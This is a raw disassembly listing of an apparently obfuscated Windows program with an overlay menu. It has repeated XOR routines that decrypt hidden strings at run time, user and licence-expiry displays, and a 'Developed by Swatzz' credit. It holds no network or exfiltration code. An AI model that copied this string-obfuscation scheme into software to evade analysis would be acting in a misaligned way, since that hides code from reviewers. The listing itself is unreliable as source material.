call qword [sym.imp.USER32.dll_GetAsyncKeyState]
mov rdi, qword [rbp + 0x350]
lea rdx, [rbp + 0x1b0]
mov rcx, rdi
call qword [sym.imp.USER32.dll_GetWindowRect]
lea rcx, [rbp + 0xbf8]
call fcn.14000e680
movss xmm0, dword [rax]
ucomiss xmm0, xmm7
jp 0x140053072
jne 0x140053072
lea rcx, [rbp + 0xc00]
call fcn.14000e680
movss xmm0, dword [rax + 4]
ucomiss xmm0, xmm7
jp 0x140053072
je 0x1400530e8
lea rcx, [rbp + 0xc08]
call fcn.14000e680
movd xmm0, dword [rbp + 0x1b4]
lea rcx, [rbp + 0xc18]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax + 4]
cvttss2si ebx, xmm0
call fcn.14000e680
mov r9d, 0x320
mov dword [rsp + 0x28], 1
mov r8d, ebx
mov rcx, rdi
mov dword [rsp + 0x20], 0x208
movd xmm0, dword [rbp + 0x1b0]
cvtdq2ps xmm0, xmm0
addss xmm0, dword [rax]
cvttss2si edx, xmm0
call qword [sym.imp.USER32.dll_MoveWindow]
xor edx, edx
mov qword [rbp + 0x250], r14
lea rcx, [rbp + 0x250]
call fcn.14001b330
call fcn.14000e630
mov rdx, qword [r12 + r15*8]
mov r14, rax
movdqa xmm0, xmmword [0x140191530]
mov eax, 0x180
mov r8d, eax
mov dword [rbp + 0x188], 0xc2b51d30
mov word [rbp + 0x18c], 0x11db
mov ecx, dword [rax + rdx]
mov eax, 0x168
mov ebx, eax
test cl, 1
jne 0x140053196
or ecx, 1
mov byte [rdx + rax + 0x17], 1
mov dword [r8 + rdx], ecx
lea rcx, [rdx + rax]
lea rdx, [rbp + 0x18e]
lea rax, [rcx + 0x16]
cmp rcx, rdx
ja 0x14005316f
lea rdx, [rbp + 0x178]
cmp rax, rdx
jb 0x14005316f
mov eax, dword [rbp + 0x188]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x18c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xd5
jmp 0x14005318a
mov eax, dword [rbp + 0x188]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x18c]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xd5
lea rcx, [0x140126130]
call fcn.1401226c4
mov rdi, qword [r12 + r15*8]
add rdi, rbx
cmp byte [rdi + 0x17], 0
je 0x140053202
xor byte [rdi], 0x55
xor byte [rdi + 1], 0x3d
xor byte [rdi + 2], 0xe3
xor byte [rdi + 3], 0xf7
xor byte [rdi + 4], 0xf5
xor byte [rdi + 5], 0x21
xor byte [rdi + 6], 0xd5
xor byte [rdi + 7], 0x57
xor byte [rdi + 8], 0x55
xor byte [rdi + 9], 0x3d
xor byte [rdi + 0xa], 0xe3
xor byte [rdi + 0xb], 0xf7
xor byte [rdi + 0xc], 0xf5
xor byte [rdi + 0xd], 0x21
xor byte [rdi + 0xe], 0xd5
xor byte [rdi + 0xf], 0x57
xor byte [rdi + 0x10], 0x55
xor byte [rdi + 0x11], 0x3d
xor byte [rdi + 0x12], 0xe3
xor byte [rdi + 0x13], 0xf7
xor byte [rdi + 0x14], 0xf5
xor byte [rdi + 0x15], 0x21
xor byte [rdi + 0x16], 0xd5
mov byte [rdi + 0x17], 0
lea rcx, [0x1405e95e8]
call fcn.14000d740
mov rcx, qword gs:[0x58]
mov esi, eax
mov r12d, dword [0x14061fd20]
movdqa xmm0, xmmword [0x140191530]
mov eax, 0x160
mov edx, 0x148
mov r8, qword [rcx + r12*8]
mov ecx, eax
mov dword [rbp + 0x170], 0xc2b51d30
mov word [rbp + 0x174], 0x11db
mov eax, dword [rax + r8]
mov ebx, edx
test al, 1
jne 0x1400532c6
or eax, 1
mov byte [r8 + rdx + 0x17], 1
mov dword [rcx + r8], eax
lea rcx, [r8 + rdx]
lea rdx, [rbp + 0x176]
lea rax, [rcx + 0x16]
cmp rcx, rdx
ja 0x14005329f
lea rdx, [rbp + 0x160]
cmp rax, rdx
jb 0x14005329f
mov eax, dword [rbp + 0x170]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x174]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xd5
jmp 0x1400532ba
mov eax, dword [rbp + 0x170]
movups xmmword [rcx], xmm0
mov dword [rcx + 0x10], eax
movzx eax, word [rbp + 0x174]
mov word [rcx + 0x14], ax
mov byte [rcx + 0x16], 0xd5
lea rcx, [0x1401264b0]
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rbx
cmp byte [rdx + 0x17], 0
je 0x14005333b
xor byte [rdx], 0x55
xor byte [rdx + 1], 0x3d
xor byte [rdx + 2], 0xe3
xor byte [rdx + 3], 0xf7
xor byte [rdx + 4], 0xf5
xor byte [rdx + 5], 0x21
xor byte [rdx + 6], 0xd5
xor byte [rdx + 7], 0x57
xor byte [rdx + 8], 0x55
xor byte [rdx + 9], 0x3d
xor byte [rdx + 0xa], 0xe3
xor byte [rdx + 0xb], 0xf7
xor byte [rdx + 0xc], 0xf5
xor byte [rdx + 0xd], 0x21
xor byte [rdx + 0xe], 0xd5
xor byte [rdx + 0xf], 0x57
xor byte [rdx + 0x10], 0x55
xor byte [rdx + 0x11], 0x3d
xor byte [rdx + 0x12], 0xe3
xor byte [rdx + 0x13], 0xf7
xor byte [rdx + 0x14], 0xf5
xor byte [rdx + 0x15], 0x21
xor byte [rdx + 0x16], 0xd5
mov byte [rdx + 0x17], 0
xor r9d, r9d
movss dword [rsp + 0x20], xmm9
xor r8d, r8d
lea rcx, [rbp + 0xc20]
call fcn.140008b80
mov rbx, rax
call fcn.14000e6c0
subss xmm0, dword [rbx]
mov r9, rdi
mov dword [rbp + 0x25c], 0x41400000
mov r8d, esi
mov qword [rsp + 0x20], 0
lea rdx, [rbp + 0x258]
mov rcx, r14
mulss xmm0, xmm14
addss xmm0, xmm7
movss dword [rbp + 0x258], xmm0
call fcn.140023eb0
call fcn.14000d570
lea rcx, [0x1405e95a8]
mov rbx, rax
call fcn.14000d740
mov r9d, eax
mov dword [rsp + 0x28], Ordinal_50
lea r8, [rbp + 0x260]
movss dword [rsp + 0x20], xmm11
lea rdx, [rbp + 0x268]
mov dword [rbp + 0x260], 0x44480000
mov rcx, rbx
mov dword [rbp + 0x264], 0x42340000
mov qword [rbp + 0x268], 0
call fcn.140023d00
call fcn.14000d570
lea rcx, [0x1405e95b8]
mov rbx, rax
call fcn.14000d740
mov r9d, eax
mov dword [rsp + 0x28], 0xc0
lea r8, [rbp + 0x270]
movss dword [rsp + 0x20], xmm11
lea rdx, [rbp + 0x278]
mov dword [rbp + 0x270], 0x44480000
mov rcx, rbx
mov dword [rbp + 0x274], 0x44020000
mov dword [rbp + 0x278], 0
mov dword [rbp + 0x27c], 0x42340000
call fcn.140023d00
mov ecx, reloc.WLDAP32.dll_Ordinal_46
call qword [sym.imp.USER32.dll_GetAsyncKeyState]
test al, 1
jne 0x140056de9
lea rcx, [rbp + 0x280]
mov dword [rbp + 0x280], 0x41700000
mov dword [rbp + 0x284], 0x43e10000
call fcn.14001a990
mov r14, qword [0x14061f8d0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 7
jb 0x140056e10
cmp qword [0x14061f8d8], 0xf
lea r15, [0x14061f8c0]
lea rsi, [r14 + 7]
mov ebx, reloc.WS2_32.dll_ntohs
cmova r15, qword [0x14061f8c0]
lea rdi, [rbp + 0x1c0]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x1d0], rax
mov qword [rbp + 0x1d8], rax
movups xmmword [rbp + 0x1c0], xmm0
cmp rsi, rbx
jbe 0x14005356b
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x140053511
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
jmp 0x140053538
cmp rbx, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140053557
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056e16
mov rcx, rax
call fcn.140122018
test rax, rax
je 0x140056d65
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140053564
test rcx, rcx
je 0x140053561
call fcn.140122018
mov rdi, rax
mov qword [rbp + 0x1c0], rdi
mov rax, qword [str.User_:]
lea rcx, [rdi + 7]
mov qword [rbp + 0x1d0], rsi
mov r8, r14
mov qword [rbp + 0x1d8], rbx
mov rdx, r15
mov dword [rdi], eax
movzx eax, word [0x140191184]
mov word [rdi + 4], ax
movzx eax, byte [reloc.WLDAP32.dll_Ordinal_32]
mov byte [rdi + 6], al
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rbp + 0x1c0]
cmp qword [rbp + 0x1d8], 0xf
cmova rcx, qword [rbp + 0x1c0]
call fcn.140037db0
lea rcx, [rbp + 0x288]
mov dword [rbp + 0x288], 0x41700000
mov dword [rbp + 0x28c], 0x43ed8000
call fcn.14001a990
mov rdi, qword [0x14061f988]
lea rsi, [0x14061f978]
xor r15d, r15d
movabs rax, 0x7fffffffffffffff
cmp qword [0x14061f990], 0xf
xorps xmm0, xmm0
movups xmmword [rbp + 0x120], xmm0
cmova rsi, qword [0x14061f978]
mov qword [rbp + 0x130], r15
mov qword [rbp + 0x138], r15
cmp rdi, rax
ja 0x140056e10
cmp rdi, 0xf
ja 0x140053660
mov qword [rbp + 0x130], rdi
lea rcx, [rbp + 0x120]
mov qword [rbp + 0x138], reloc.WS2_32.dll_ntohs
movups xmm0, xmmword [rsi]
movups xmmword [rbp + 0x120], xmm0
jmp 0x140053712
mov rbx, rdi
or rbx, 0xf
cmp rbx, rax
jbe 0x14005367f
mov rbx, rax
movabs rax, 0x8000000000000000
add rax, 0x27
jmp 0x1400536a6
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x1400536c8
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056e16
mov rcx, rax
call fcn.140122018
mov rcx, rax
test rax, rax
je 0x140056d65
add rax, 0x27
and rax, 0xffffffffffffffe0
mov qword [rax - 8], rcx
jmp 0x1400536d7
test rcx, rcx
je 0x1400536d4
call fcn.140122018
jmp 0x1400536d7
mov rax, r15
lea r8, [rdi + 1]
mov qword [rbp + 0x120], rax
mov rdx, rsi
mov qword [rbp + 0x130], rdi
mov rcx, rax
mov qword [rbp + 0x138], rbx
call sub.VCRUNTIME140.dll_memcpy
cmp qword [rbp + 0x138], 0xf
lea rcx, [rbp + 0x120]
cmova rcx, qword [rbp + 0x120]
call qword [sym.imp.api_ms_win_crt_convert_l1_1_0.dll_atoi]
movsxd rcx, eax
mov qword [rbp + 0x5d8], rcx
lea rcx, [rbp + 0x5d8]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll__localtime64]
lea r8, str.Vence:__d__m__Y
mov edx, reloc.WS2_32.dll_sendto
mov r9, rax
lea rcx, [rbp + 0xdf8]
call qword [sym.imp.api_ms_win_crt_time_l1_1_0.dll_strftime]
lea rcx, [rbp + 0xdf8]
call fcn.140037db0
lea rcx, [rbp + 0x290]
mov dword [rbp + 0x290], 0x43480000
mov dword [rbp + 0x294], 0x43f00000
call fcn.14001a990
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea r14, [0x1405e8d58]
mov rsi, qword [0x1405e8d68]
lea rdi, [rbp + 0x1e0]
cmova r14, qword [0x1405e8d58]
mov ebx, reloc.WS2_32.dll_ntohs
mov qword [rbp + 0x1f0], r15
xorps xmm0, xmm0
mov qword [rbp + 0x1f8], r15
movups xmmword [rbp + 0x1e0], xmm0
cmp rsi, rbx
jbe 0x14005384a
mov rbx, rsi
movabs rcx, 0x7fffffffffffffff
or rbx, 0xf
cmp rbx, rcx
jbe 0x1400537eb
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
jmp 0x140053812
cmp rbx, 0x16
mov eax, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rax
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140053831
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056e16
mov rcx, rax
call fcn.140122018
test rax, rax
je 0x140056d65
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140053843
test rcx, rcx
je 0x140053840
call fcn.140122018
mov rdi, rax
jmp 0x140053843
mov rdi, r15
mov qword [rbp + 0x1e0], rdi
mov r8, rsi
mov qword [rbp + 0x1f0], rsi
mov rdx, r14
mov qword [rbp + 0x1f8], rbx
mov rcx, rdi
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], r15b
lea rcx, [rbp + 0x1e0]
cmp qword [rbp + 0x1f8], 0xf
cmova rcx, qword [rbp + 0x1e0]
call fcn.140037db0
mov r15, qword [0x14061f8d0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r15
cmp rax, 0xa
jb 0x140056e10
cmp qword [0x14061f8d8], 0xf
lea r14, [0x14061f8c0]
lea rsi, [r15 + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
cmova r14, qword [0x14061f8c0]
lea rdi, [rbp + 0x190]
xor eax, eax
xorps xmm0, xmm0
mov qword [rbp + 0x1a0], rax
mov qword [rbp + 0x1a8], rax
movups xmmword [rbp + 0x190], xmm0
cmp rsi, rbx
jbe 0x140053966
mov rbx, rsi
or rbx, 0xf
cmp rbx, rcx
jbe 0x14005390c
movabs rax, 0x8000000000000000
mov rbx, rcx
add rax, 0x27
jmp 0x140053933
cmp rbx, 0x16
mov ecx, reloc.WLDAP32.dll_Ordinal_22
cmovb rbx, rcx
lea rcx, [rbx + 1]
cmp rcx, 0x1000
jb 0x140053952
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x140056e16
mov rcx, rax
call fcn.140122018
test rax, rax
je 0x140056d65
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x14005395f
test rcx, rcx
je 0x14005395c
call fcn.140122018
mov rdi, rax
mov qword [rbp + 0x190], rdi
movsd xmm0, qword [str.Username:]
lea rcx, [rdi + 0xa]
mov qword [rbp + 0x1a0], rsi
mov r8, r15
mov qword [rbp + 0x1a8], rbx
mov rdx, r14
movsd qword [rdi], xmm0
movzx eax, word [0x140191148]
mov word [rdi + 8], ax
call sub.VCRUNTIME140.dll_memcpy
mov byte [rdi + rsi], 0
lea rcx, [rbp + 0x190]
cmp qword [rbp + 0x1a8], 0xf
lea rdx, [rbp + 0x420]
mov rbx, qword [rbp + 0x1a0]
mov r14d, 0xa
cmova rcx, qword [rbp + 0x190]
xorps xmm0, xmm0
movzx eax, word [0x140191148]
cmp r14, rbx
movups xmmword [rbp + 0x420], xmm0
mov r8, rbx
mov qword [rbp + 0x430], r14
movsd xmm0, qword [str.Username:]
cmovb r8, r14
mov qword [rbp + 0x438], reloc.WS2_32.dll_ntohs
movsd qword [rbp + 0x420], xmm0
mov word [rbp + 0x428], ax
mov byte [rbp + 0x42a], 0
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne 0x140053a28
cmp rbx, r14
jb 0x140053a28
jbe 0x140056d6c
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, [0x1401297f4]
call fcn.140046d80
lea rdx, [0x140048440]
mov rcx, rax
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.14004b220
lea rcx, [rbp + 0x298]
mov dword [rbp + 0x298], 0x43340000
mov dword [rbp + 0x29c], 0x43d20000
call fcn.14001a990
cmp qword [reloc.WS2_32.dll_ntohs], 0xf
lea rcx, [0x1405e8d80]
cmova rcx, qword [0x1405e8d80]
call fcn.140037db0
lea rcx, [rbp + 0x2a0]
mov dword [rbp + 0x2a0], 0x44160000
mov dword [rbp + 0x2a4], 0x41f00000
call fcn.14001a990
movaps xmm0, xmmword [0x140135210]
lea rdx, str.Developed_by_Swatzz
lea rcx, [rbp + 0xc58]
movups xmmword [rbp + 0xc58], xmm0
call fcn.140037e20
lea rdx, [rbp + 0x2a8]
mov dword [rbp + 0x2a8], 0x40e00000
mov ecx, reloc.WS2_32.dll_ntohl
mov dword [rbp + 0x2ac], 0x40e00000
call fcn.140016b80
lea rcx, [rbp + 0x2b0]
mov dword [rbp + 0x2b0], 0x40e00000
mov dword [rbp + 0x2b4], 0x42820000
call fcn.14001a990
call fcn.140007d20
mov rax, qword gs:[0x58]
mov dword [rbp + 0x2b8], 0x431d0000
mov dword [rbp + 0x2bc], 0x420c0000
mov r8d, 0x190
mov rdx, qword [rax + r12*8]
mov eax, 0x19c
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053b80
mov word [rdx + r8 + 9], 0x137
or eax, 1
mov dword [rdx + r8], 0xd45852ac
mov dword [rcx + rdx], eax
lea rcx, [0x140126680]
mov dword [rdx + r8 + 4], 0x2ed10603
mov byte [rdx + r8 + 8], 0x9b
call fcn.1401226c4
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 0xa], 0
je 0x140053bbc
not byte [rbx]
xor byte [rbx + 1], 0x37
xor byte [rbx + 2], 0x3f
xor byte [rbx + 3], 0xa1
xor byte [rbx + 4], 0x71
xor byte [rbx + 5], 0x6f
xor byte [rbx + 6], 0xb5
xor byte [rbx + 7], 0x4f
not byte [rbx + 8]
xor byte [rbx + 9], 0x37
mov byte [rbx + 0xa], 0
mov rax, qword gs:[0x58]
mov r8d, 0x184
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x188
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053bff
or eax, 1
mov word [rdx + r8 + 1], 0x137
mov dword [rcx + rdx], eax
lea rcx, [0x1401262b0]
mov byte [rdx + r8], 0xb9
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], 0
je 0x140053c1f
not byte [rdx]
xor byte [rdx + 1], 0x37
mov byte [rdx + 2], 0
cmp dword [0x14061f4e8], 0
lea r9, [rbp + 0x2b8]
mov r8, rbx
sete cl
xor esi, esi
mov dword [rsp + 0x20], esi
call fcn.1400376b0
test al, al
je 0x140053c48
mov dword [0x14061f4e8], esi
mov rax, qword gs:[0x58]
mov dword [rbp + 0x2c0], 0x431d0000
mov dword [rbp + 0x2c4], 0x420c0000
mov r8d, 0x1a8
mov rdx, qword [rax + r12*8]
mov eax, 0x1b0
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053ca3
or eax, 1
mov dword [rdx + r8 + 4], 0x141c946
mov dword [rcx + rdx], eax
lea rcx, [0x140126330]
mov dword [rdx + r8], 0x45277218
call fcn.1401226c4
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 7], sil
je 0x140053cd5
xor byte [rbx], 0x53
xor byte [rbx + 1], 0x1b
xor byte [rbx + 2], 0x4b
xor byte [rbx + 3], 0x29
xor byte [rbx + 4], 0x23
xor byte [rbx + 5], 0xbb
xor byte [rbx + 6], 0x41
mov byte [rbx + 7], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1a0
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1a4
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053d18
or eax, 1
mov word [rdx + r8 + 1], 0x11b
mov dword [rcx + rdx], eax
lea rcx, [0x140126470]
mov byte [rdx + r8], reloc.WS2_32.dll_select
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140053d39
xor byte [rdx], 0x53
xor byte [rdx + 1], 0x1b
mov byte [rdx + 2], sil
cmp dword [0x14061f4e8], 6
lea r9, [rbp + 0x2c0]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x140053d64
mov dword [0x14061f4e8], 6
mov rax, qword gs:[0x58]
mov dword [rbp + 0x2c8], 0x431d0000
mov dword [rbp + 0x2cc], 0x420c0000
mov r8d, 0x1bc
mov rdx, qword [rax + r12*8]
mov eax, 0x1c4
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053dbe
or eax, 1
mov dword [rdx + r8 + 2], 0x1837a9c
mov dword [rcx + rdx], eax
lea rcx, [0x1401265f0]
mov word [rdx + r8], 0x5010
call fcn.1401226c4
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 5], sil
je 0x140053de8
xor byte [rbx], 0x5d
xor byte [rbx + 1], 0x39
xor byte [rbx + 2], 0xef
xor byte [rbx + 3], 0x19
xor byte [rbx + 4], 0x83
mov byte [rbx + 5], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1b4
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1b8
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053e2b
or eax, 1
mov word [rdx + r8 + 1], 0x139
mov dword [rcx + rdx], eax
lea rcx, [0x1401264e0]
mov byte [rdx + r8], Ordinal_32
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140053e4c
xor byte [rdx], 0x5d
xor byte [rdx + 1], 0x39
mov byte [rdx + 2], sil
cmp dword [0x14061f4e8], 2
lea r9, [rbp + 0x2c8]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x140053e77
mov dword [0x14061f4e8], 2
mov rax, qword gs:[0x58]
mov dword [rbp + 0x2d0], 0x431d0000
mov dword [rbp + 0x2d4], 0x420c0000
mov r8d, 0x1d0
mov rdx, qword [rax + r12*8]
mov eax, 0x1d8
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053ed2
or eax, 1
mov dword [rdx + r8 + 4], 0x179a974
mov dword [rcx + rdx], eax
lea rcx, [0x1401267d0]
mov dword [rdx + r8], 0xf00634e5
call fcn.1401226c4
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 7], sil
je 0x140053f04
xor byte [rbx], 0xb3
xor byte [rbx + 1], 0x5d
xor byte [rbx + 2], 0x75
xor byte [rbx + 3], 0x85
xor byte [rbx + 4], 0x15
xor byte [rbx + 5], 0xc5
xor byte [rbx + 6], 0x79
mov byte [rbx + 7], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1c8
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1cc
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053f47
or eax, 1
mov word [rdx + r8 + 1], 0x15d
mov dword [rcx + rdx], eax
lea rcx, [0x1401265a0]
mov byte [rdx + r8], 0xf4
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140053f68
xor byte [rdx], 0xb3
xor byte [rdx + 1], 0x5d
mov byte [rdx + 2], sil
cmp dword [0x14061f4e8], 5
lea r9, [rbp + 0x2d0]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x140053f93
mov dword [0x14061f4e8], 5
mov rax, qword gs:[0x58]
mov dword [rbp + 0x3e8], 0x431d0000
mov dword [rbp + 0x3ec], 0x420c0000
mov r8d, 0x1e8
mov rdx, qword [rax + r12*8]
mov eax, 0x1f0
mov ecx, eax
mov ebx, r8d
mov eax, dword [rax + rdx]
test al, 1
jne 0x140053fee
or eax, 1
mov dword [rdx + r8 + 4], 0x1cbedea
mov dword [rcx + rdx], eax
lea rcx, [0x140126800]
mov dword [rdx + r8], 0xad72f210
call fcn.1401226c4
mov rax, qword gs:[0x58]
add rbx, qword [rax + r12*8]
cmp byte [rbx + 7], sil
je 0x140054020
xor byte [rbx], 0x5b
xor byte [rbx + 1], 0x97
xor byte [rbx + 2], 0xb
xor byte [rbx + 3], 0xcf
xor byte [rbx + 4], 0x83
xor byte [rbx + 5], 0x83
xor byte [rbx + 6], 0xcb
mov byte [rbx + 7], sil
mov rax, qword gs:[0x58]
mov r8d, 0x1dc
mov edi, r8d
mov rdx, qword [rax + r12*8]
mov eax, 0x1e0
mov ecx, eax
mov eax, dword [rax + rdx]
test al, 1
jne 0x140054063
or eax, 1
mov word [rdx + r8 + 1], 0x197
mov dword [rcx + rdx], eax
lea rcx, [0x140126580]
mov byte [rdx + r8], Ordinal_32
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rdx, qword [rax + r12*8]
add rdx, rdi
cmp byte [rdx + 2], sil
je 0x140054084
xor byte [rdx], 0x5b
xor byte [rdx + 1], 0x97
mov byte [rdx + 2], sil
cmp dword [0x14061f4e8], 3
lea r9, [rbp + 0x3e8]
mov r8, rbx
mov dword [rsp + 0x20], esi
sete cl
call fcn.1400376b0
test al, al
je 0x1400540af
mov dword [0x14061f4e8], 3
call fcn.14000bd20
mov ecx, 1
call fcn.140016580
mov eax, dword [0x14061f4f4]
cmp dword [0x14061f4e8], eax
jne 0x1400540d2
movaps xmm6, xmm8
jmp 0x1400540d6
movaps xmm6, xmm9
call fcn.14000dce0
movss xmm0, dword [rax + 0x10]
mulss xmm0, xmm12
mulss xmm0, xmm6
addss xmm0, dword [0x14061f4ec]
comiss xmm7, xmm0
jbe 0x1400540fb
movaps xmm1, xmm7
jmp 0x140054103
movaps xmm1, xmm8
minss xmm1, xmm0
mov eax, dword [0x14061f4f4]
cmp dword [0x14061f4e8], eax
movss dword [0x14061f4ec], xmm1
jne 0x14005411f
movaps xmm6, xmm8
jmp 0x140054123
movaps xmm6, xmm9
call fcn.14000dce0
movaps xmm0, xmm13
mov rbx, rax
call sub.api_ms_win_crt_math_l1_1_0.dll_roundf
mulss xmm0, dword [rbx + 0x10]
mulss xmm0, xmm6
addss xmm0, dword [0x14061f4f0]
comiss xmm7, xmm0
jbe 0x14005414f
movaps xmm1, xmm7
jmp 0x140054157
movaps xmm1, xmm8
minss xmm1, xmm0
cmp byte [reloc.WS2_32.dll_accept], sil
movss dword [0x14061f4f0], xmm1
je 0x140054175
call fcn.14004dff0
movss xmm1, dword [0x14061f4f0]
movss xmm0, dword [0x14061f4ec]
ucomiss xmm0, xmm7
jp 0x140054197
jne 0x140054197
ucomiss xmm1, xmm7
jp 0x140054197
jne 0x140054197
mov eax, dword [0x14061f4e8]
mov dword [0x14061f4f4], eax
lea rcx, [rbp + 0x2e0]
mov dword [rbp + 0x2e0], 0x43340000
mov dword [rbp + 0x2e4], 0x425c0000
call fcn.14001a990
movss xmm1, dword [0x14061f4ec]
xor ecx, ecx
mulss xmm1, dword [r13]
call fcn.140016c60
mov eax, dword [0x14061f4f4]
cmp eax, 6
jne 0x140054e2c
call fcn.140007d20
mov rax, qword gs:[0x58]
movdqa xmm0, xmmword [0x140191590]
mov dword [rbp + 0x2e8], 0x43900000
mov dword [rbp + 0x2ec], 0x430c0000
mov rdx, qword [rax + r12*8]
mov eax, 0x20c
mov ecx, eax
mov r8d, 0x1f8
mov word [rbp + 0x5a8], 0xa9e7
mov eax, dword [rax + rdx]
mov ebx, r8d
test al, 1
jne 0x14005427f
or eax, 1
mov byte [rdx + r8 + 0x12], 1
mov dword [rcx + rdx], eax
lea rcx, [rdx + r8]
lea rdx, [rbp + 0x5a9]
lea rax, [rcx + 0x11]
cmp rcx, rdx
ja 0x140054265
lea rdx, [rbp + 0x598]
cmp rax, rdx
jb 0x140054265
movzx eax, word [rbp + 0x5a8]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
jmp 0x140054273
movzx eax, word [rbp + 0x5a8]
movups xmmword [rcx], xmm0
mov word [rcx + 0x10], ax
lea rcx, [0x140126190]
call fcn.1401226c4
mov rax, qword gs:[0x58]
mov rcx, qword [rax + r12*8]
add rcx, rbx
cmp byte [rcx + 0x12], sil
je 0x1400542de
xor byte [rcx], 0x93
xor byte [rcx + 1], 0xa9
xor byte [rcx + 2], 0x39
xor byte [rcx + 3], 0xc3
not byte [rcx + 4]
xor byte [rcx + 5], 7
xor byte [rcx + 6], 0x13
xor byte [rcx + 7], 0xa7
xor byte [rcx + 8], 0x93
xor byte [rcx + 9], 0xa9
xor byte [rcx + 0xa], 0x39
xor byte [rcx + 0xb], 0xc3
not byte [rcx + 0xc]
xor byte [rcx + 0xd], 7
xor byte [rcx + 0xe], 0x13
xor byte [rcx + 0xf], 0xa7
xor byte [rcx + 0x10], 0x93
xor byte [rcx + 0x11], 0xa9
mov byte [rcx + 0x12], sil
xor r9d, r9d
lea rdx, [rbp + 0x2e8]
mov r8b, 1
call fcn.140007760
mov r14, qword [0x14061f8d0]
movabs rcx, 0x7fffffffffffffff
mov rax, rcx
sub rax, r14
cmp rax, 0xa
jb 0x140056e10
cmp qword [0x14061f8d8], 0xf
lea r15, [0x14061f8c0]
lea rsi, [r14 + 0xa]
mov ebx, reloc.WS2_32.dll_ntohs
